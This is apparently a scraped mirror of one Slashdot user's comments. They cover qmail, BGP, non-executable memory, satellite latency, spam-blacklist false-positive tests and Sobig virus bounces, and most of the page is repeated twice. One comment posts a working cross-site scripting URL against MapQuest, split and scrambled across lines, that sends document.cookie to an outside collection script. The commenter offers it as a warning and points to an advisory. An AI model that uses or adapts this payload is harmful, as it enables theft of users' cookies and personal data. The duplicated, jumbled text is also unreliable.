While that's a bug, it's not a security issue. It can't cause execution of arbitrary code. In fact, all it does is causes the SMTP session sending the message to shut down. It may be possible to take advantage of this to delay mail slightly, but it's really not something to worry about.
Additionally, a group of qmail hackers have put together netqmail-1.05, a patchset which addresses this and other issues.
While you may not use BGP directly, your ISP almost certainly does, and probably their ISP too. It's also used in the Internet core for communication between ISPs. The reason a problem with BGP is a big deal is that it can drastically affect entire ISPs, essentially knocking them offline until their routers are upgraded.
VegWeb is a great source for vegetarian recipes. It's been around a long time, and has some useful features, like a meal planner and grocery list creator.
Also, Google works pretty well if you know what you're looking for.
Does preventing executable stack/data pages prevent a large number of bugs from being exploitable, or does it just stop existing exploits until they are recoded to use other techniques (like return-into-libc)?
In other words, does a properly used non-executable bit make a large number of bugs impossible to exploit, or just a bit more difficult?
Right. As compared to right now, where if there is a buffer overflow in explorer.exe and you exploit this bug, you gain full control over the victim's computer. A crashed application is loads better than your computer becoming a zombie.
Intel processors don't support this properly. IIRC, they use a single bit to mean "Executable and Writable", although I can't currently find a reference to confirm that.
A friend of mine had sattelite Internet for a while, whatever DirecTV's old service was called. It was really bad, even for Web browsing. The latency doesn't seem like it would get that annoying, but it does. It seemed there was an extra wait for every image loaded, and normal browsing of the Internet felt slower than on dialup.
On the other hand, this may have gotten better. Browsers may be better about using HTTP pipelining so everything in a page can be loaded at once, and part of the problem may have been DirecTV's network. A way to experiment with it would be to use one of the various kernel modules for doing packet modification, and cause every packet to be delayed for 1 full second going out.
I always thought an interesting combination would be a proxy that routed everything over dialup until the connection was full, then started using the sattelite. The most likely scenario would be the HTML itself is fetched over the low-latency low-bandwidth dialup link, and the images are loaded over the high-latency high-bandwidth sattelite link. ssh would use the dialup link, so latency wouldn't be as bad. It seems to me like this would be the best of both worlds. Unfortunately DirecTV's old infrastructure was very closed, making it impossible (or close to it) to experiment with this sort of thing. If this new service is more open, maybe it would be possible to tune it to give quite good performance.
I thought it sounded cool, too. I wondered if I could stick one in my x86 Linux box to boot Windows on---like VMware, only faster and without slowing down my existing machine.
I saw parts of one of Mann's documentaries at USENIX in New Orleans a few years ago (1999?), and it was extremely entertaining. Since then, I've been trying to find a place where I can get my hands on a copy. Does anybody know a place that sells these, or a place where I can download them?
I've recently started thinking about how our local Free-Net (which provides Web hosting to nonprofits, among other things) could set up a control panel for domains we host. Is poking through the Cobalt code for stuff to steal a good idea, or are there already better Free control panel programs available?
apt-get is telling me to update about a dozen packages, most of which are listed on the update page. Two of the packages apt-get wants me to upgrade---bsdutils and mount---aren't in the list. Anybody know what the deal is?
I guest I'm just a little skittish because of the whole compromise thing.
I didn't actually try the exploit in the advisory, but the exploit I developed independently before finding the advisory still works. I'm sure Slashdot will make a mess of this URL, but if you remove the whitespace from the URL and paste it into your browser, it will steal your MapQuest cookies:
MapQuest has some security issues, and I wouldn't recommend using it without cookies turned off or blocked.
There's a cross-site scripting attack which allows people to steal cookies for the site, which will include personal information such as the last three searches you did.
My point was that naive implementations that rely on accurate From headers will occasionally break in the real world, not that you can never trust that header.
When you say "From headers" here, are you talking about actual "From:" headers, the envelope sender, or both? My understanding is that SoBig forges both, so it's not simply a matter of naive implementations incorrectly deducing where to send the error message. To solve this requires architectural changes to virus scanning software (specifically, the communication between the scanning infrastructure and the scanning program), providing a way to specify which viruses shouldn't generate bounces, and which should. I'm not aware of any way an admin can currently configure their system to do this without writing some code.
The other solution is to modify the message, and still deliver it to the original recipient with the virus stripped, which is a fairly good idea, although it's hard and you'll still get the "You sent me Sobig!!!" messages from these recipients. I'm not sure if current systems support this or not.
I'm hearing a lot of yelling from all over that mail admins should turn off bounces for any virus-ridden mail without making any other changes, and while that may be a good idea for this particular virus, it's overly simplistic. In general it will make the mail system less reliable and therefore worse.
If you know enough to identify Sobig, how did you fail to discover that it spoofs the From header?
My suspicion is that in this case, knowing enough about Sobig involves reading the message that their virus scanner pops up saying "This user has sent you the virus Sobig", and hitting Reply.
Notification of a rejected virus/worm/trojan e-mail should go to the To:, not the From:
If you're going to do that, you might as well just strip the virus and deliver the message as normal, perhaps adding comments about what you did. In that case, you're modifying the content, not sending an error report. It's a subtle distinction, but an important one.
This is a fairly good strategy. Do any existing virus scanners do this?
And by a strict reading of that RFC, shouldn't I be sending bounces to all those e-mail messages I discard because their SpamAssassin score is > 10?
Yes, or else not using SpamAssassin to discard your mail. That's the big advantage of RBL-based approaches over SpamAssassin, along with bandwidth savings.
Are you positive that your virus scanning software only blocks mail that your users don't want?
Chromatic's suggestion works great if we assume that all virus email is from worms that forge from addresses. After that, it starts to fall apart.
Let's say that your boss or a large consulting client gets their computer infected with an MS Word macro virus, then sends you an important new project to start working on right away as a Word document. Whoops, we discarded that message, and the sender will never know that it was discarded. More importantly, they won't know why it was discarded, and when they find out you didn't receive it will likely send the same document again.
It also fails if you receive an important message which your virus software misidentifies as a virus. This doesn't happen often in practice, but it's a possibility that should be taken into account.
That's why RFC 2821, which defines SMTP, requires that, after receiving the message, the MTA either deliver it or generate a bounce:
6.1 Reliable Delivery and Replies by Email
...
If there is a delivery failure after acceptance of a message, the
receiver-SMTP MUST formulate and mail a notification message.
In another thread, somebody suggested that virus scanning software have a special flag for viruses which spread by sending mail themselves using a false sender, in which case the MTA should make a special exception and discard the mail, since all other options are useless. This is a good idea.
Somebody's already doing this, although I don't recall who; search through this discussion for it.
The problem is, I trust RedHat to provide a secure system. If some random person starts selling RPM updates, how will I determine whether they're trustworthy or not? The provider could be dishonest, incompetent, or slow, and it would be hard to know until they'd been around for awhile.
RedHat will cease to provide security and bugfix updates for many older versions of their products at the end of the year. The poster is using one of these versions.
osirusoft was very slow in my tests (sorry, not quantified yet, but the tests took about 3 times longer to finish than other RBLs), had a higher-than-average false positive rate (0.26%), and it lost important messages---from a former boss from whom I needed a letter of recommendation, my insurance company, a prospective consulting client, and my MozillaZine welcome message.
bl.spamcop.net was better, but it still had a false-positive rate of 0.16%, about 8 times higher than others. None of the messages I lost were important, but it still made me a little nervous. By including it in the list I mentioned, I can go from blocking 75% of spam to 80%, and my false positive rate goes from 0.02% to 0.19%.
I didn't try easynet. I'll run my tests on it and see how it does.
Here's a link to the numbers I've got. I'm working on writing more up about my methods, but basically what I did was sort all of my mail from the last 90 days or so into spam and non-spam, then simulated the use of these blacklists on my own personal mail. Also, the PDF file is a bit of a mess; something about Gnumeric's PS output or ps2pdf.
I've been doing some research about the accuracy of different spam-blocking solutions, and Trustic had a huge false-positive rate. It misidentified 8% of my personal non-spam mail as spam, including mail from my Mom (it blocked our local cable ISP completely), my aunt (it blocked some AOL MX's), my insurance company (who the hell knows why), security warnings from CERT, and the NANOG mailing list.
It did have a good blocking rate---65%---but using a combination of other RBLs (the most optimal I found was DSBL + SpamHaus + Blitzed) it's possible to block nearly 75% of spam with only a.02% false positive rate (a single mailing list correspondent with an Argentinian ISP that has open relays was blocked).
It really is probably best that they laid this project to rest.
Slashdot Mirror
Additionally, a group of qmail hackers have put together netqmail-1.05, a patchset which addresses this and other issues.
While you may not use BGP directly, your ISP almost certainly does, and probably their ISP too. It's also used in the Internet core for communication between ISPs. The reason a problem with BGP is a big deal is that it can drastically affect entire ISPs, essentially knocking them offline until their routers are upgraded.
This hardware encrypted hard drive might be part of what you're looking for.
Also, Google works pretty well if you know what you're looking for.
Does preventing executable stack/data pages prevent a large number of bugs from being exploitable, or does it just stop existing exploits until they are recoded to use other techniques (like return-into-libc)?
In other words, does a properly used non-executable bit make a large number of bugs impossible to exploit, or just a bit more difficult?
Right. As compared to right now, where if there is a buffer overflow in explorer.exe and you exploit this bug, you gain full control over the victim's computer. A crashed application is loads better than your computer becoming a zombie.
Intel processors don't support this properly. IIRC, they use a single bit to mean "Executable and Writable", although I can't currently find a reference to confirm that.
A friend of mine had sattelite Internet for a while, whatever DirecTV's old service was called. It was really bad, even for Web browsing. The latency doesn't seem like it would get that annoying, but it does. It seemed there was an extra wait for every image loaded, and normal browsing of the Internet felt slower than on dialup.
On the other hand, this may have gotten better. Browsers may be better about using HTTP pipelining so everything in a page can be loaded at once, and part of the problem may have been DirecTV's network. A way to experiment with it would be to use one of the various kernel modules for doing packet modification, and cause every packet to be delayed for 1 full second going out.
I always thought an interesting combination would be a proxy that routed everything over dialup until the connection was full, then started using the sattelite. The most likely scenario would be the HTML itself is fetched over the low-latency low-bandwidth dialup link, and the images are loaded over the high-latency high-bandwidth sattelite link. ssh would use the dialup link, so latency wouldn't be as bad. It seems to me like this would be the best of both worlds. Unfortunately DirecTV's old infrastructure was very closed, making it impossible (or close to it) to experiment with this sort of thing. If this new service is more open, maybe it would be possible to tune it to give quite good performance.
I thought it sounded cool, too. I wondered if I could stick one in my x86 Linux box to boot Windows on---like VMware, only faster and without slowing down my existing machine.
Anybody know if this is possible?
I saw parts of one of Mann's documentaries at USENIX in New Orleans a few years ago (1999?), and it was extremely entertaining. Since then, I've been trying to find a place where I can get my hands on a copy. Does anybody know a place that sells these, or a place where I can download them?
If they did, though, he'd have a full record of what the mugger looked like and did, relayed through a wireless network back to another computer.
I saw this guy at USENIX a few years ago, and he was really interesting to listen to.
I've recently started thinking about how our local Free-Net (which provides Web hosting to nonprofits, among other things) could set up a control panel for domains we host. Is poking through the Cobalt code for stuff to steal a good idea, or are there already better Free control panel programs available?
apt-get is telling me to update about a dozen packages, most of which are listed on the update page. Two of the packages apt-get wants me to upgrade---bsdutils and mount---aren't in the list. Anybody know what the deal is?
I guest I'm just a little skittish because of the whole compromise thing.
I didn't actually try the exploit in the advisory, but the exploit I developed independently before finding the advisory still works. I'm sure Slashdot will make a mess of this URL, but if you remove the whitespace from the URL and paste it into your browser, it will steal your MapQuest cookies:
p =80202&title=<script+language=javascript>var+arr+= +new+Array();+arr[0]='http://www.cgisecurity.com/c gi-bin/cookie.cgi?';+c ument.location=arr.join();</script>
http://www.mapquest.com/maps/map.adp?a ddress=1565+california+st&city=denver&state=CO&zi
arr[1]=document.cookie;+do
MapQuest has some security issues, and I wouldn't recommend using it without cookies turned off or blocked.
There's a cross-site scripting attack which allows people to steal cookies for the site, which will include personal information such as the last three searches you did.
See this advisory for more info.
Running a mail server is a lot of work; providing SSL and SMTP AUTH isn't much more.
I'm not sure this would work very well, but having more ISPs support SSL and SMTP AUTH doesn't sound like a terrible thing even if it doesn't.
The other solution is to modify the message, and still deliver it to the original recipient with the virus stripped, which is a fairly good idea, although it's hard and you'll still get the "You sent me Sobig!!!" messages from these recipients. I'm not sure if current systems support this or not.
I'm hearing a lot of yelling from all over that mail admins should turn off bounces for any virus-ridden mail without making any other changes, and while that may be a good idea for this particular virus, it's overly simplistic. In general it will make the mail system less reliable and therefore worse.
My suspicion is that in this case, knowing enough about Sobig involves reading the message that their virus scanner pops up saying "This user has sent you the virus Sobig", and hitting Reply.If you're going to do that, you might as well just strip the virus and deliver the message as normal, perhaps adding comments about what you did. In that case, you're modifying the content, not sending an error report. It's a subtle distinction, but an important one.
This is a fairly good strategy. Do any existing virus scanners do this?
Yes, or else not using SpamAssassin to discard your mail. That's the big advantage of RBL-based approaches over SpamAssassin, along with bandwidth savings.Are you positive that your virus scanning software only blocks mail that your users don't want?
Chromatic's suggestion works great if we assume that all virus email is from worms that forge from addresses. After that, it starts to fall apart.
Let's say that your boss or a large consulting client gets their computer infected with an MS Word macro virus, then sends you an important new project to start working on right away as a Word document. Whoops, we discarded that message, and the sender will never know that it was discarded. More importantly, they won't know why it was discarded, and when they find out you didn't receive it will likely send the same document again.
It also fails if you receive an important message which your virus software misidentifies as a virus. This doesn't happen often in practice, but it's a possibility that should be taken into account.
That's why RFC 2821, which defines SMTP, requires that, after receiving the message, the MTA either deliver it or generate a bounce:
In another thread, somebody suggested that virus scanning software have a special flag for viruses which spread by sending mail themselves using a false sender, in which case the MTA should make a special exception and discard the mail, since all other options are useless. This is a good idea.
Somebody's already doing this, although I don't recall who; search through this discussion for it.
The problem is, I trust RedHat to provide a secure system. If some random person starts selling RPM updates, how will I determine whether they're trustworthy or not? The provider could be dishonest, incompetent, or slow, and it would be hard to know until they'd been around for awhile.
RedHat will cease to provide security and bugfix updates for many older versions of their products at the end of the year. The poster is using one of these versions.
Interesting. Do you remember where you heard this?
osirusoft was very slow in my tests (sorry, not quantified yet, but the tests took about 3 times longer to finish than other RBLs), had a higher-than-average false positive rate (0.26%), and it lost important messages---from a former boss from whom I needed a letter of recommendation, my insurance company, a prospective consulting client, and my MozillaZine welcome message.
bl.spamcop.net was better, but it still had a false-positive rate of 0.16%, about 8 times higher than others. None of the messages I lost were important, but it still made me a little nervous. By including it in the list I mentioned, I can go from blocking 75% of spam to 80%, and my false positive rate goes from 0.02% to 0.19%.
I didn't try easynet. I'll run my tests on it and see how it does.
Here's a link to the numbers I've got. I'm working on writing more up about my methods, but basically what I did was sort all of my mail from the last 90 days or so into spam and non-spam, then simulated the use of these blacklists on my own personal mail. Also, the PDF file is a bit of a mess; something about Gnumeric's PS output or ps2pdf.
I've been doing some research about the accuracy of different spam-blocking solutions, and Trustic had a huge false-positive rate. It misidentified 8% of my personal non-spam mail as spam, including mail from my Mom (it blocked our local cable ISP completely), my aunt (it blocked some AOL MX's), my insurance company (who the hell knows why), security warnings from CERT, and the NANOG mailing list.
It did have a good blocking rate---65%---but using a combination of other RBLs (the most optimal I found was DSBL + SpamHaus + Blitzed) it's possible to block nearly 75% of spam with only a .02% false positive rate (a single mailing list correspondent with an Argentinian ISP that has open relays was blocked).
It really is probably best that they laid this project to rest.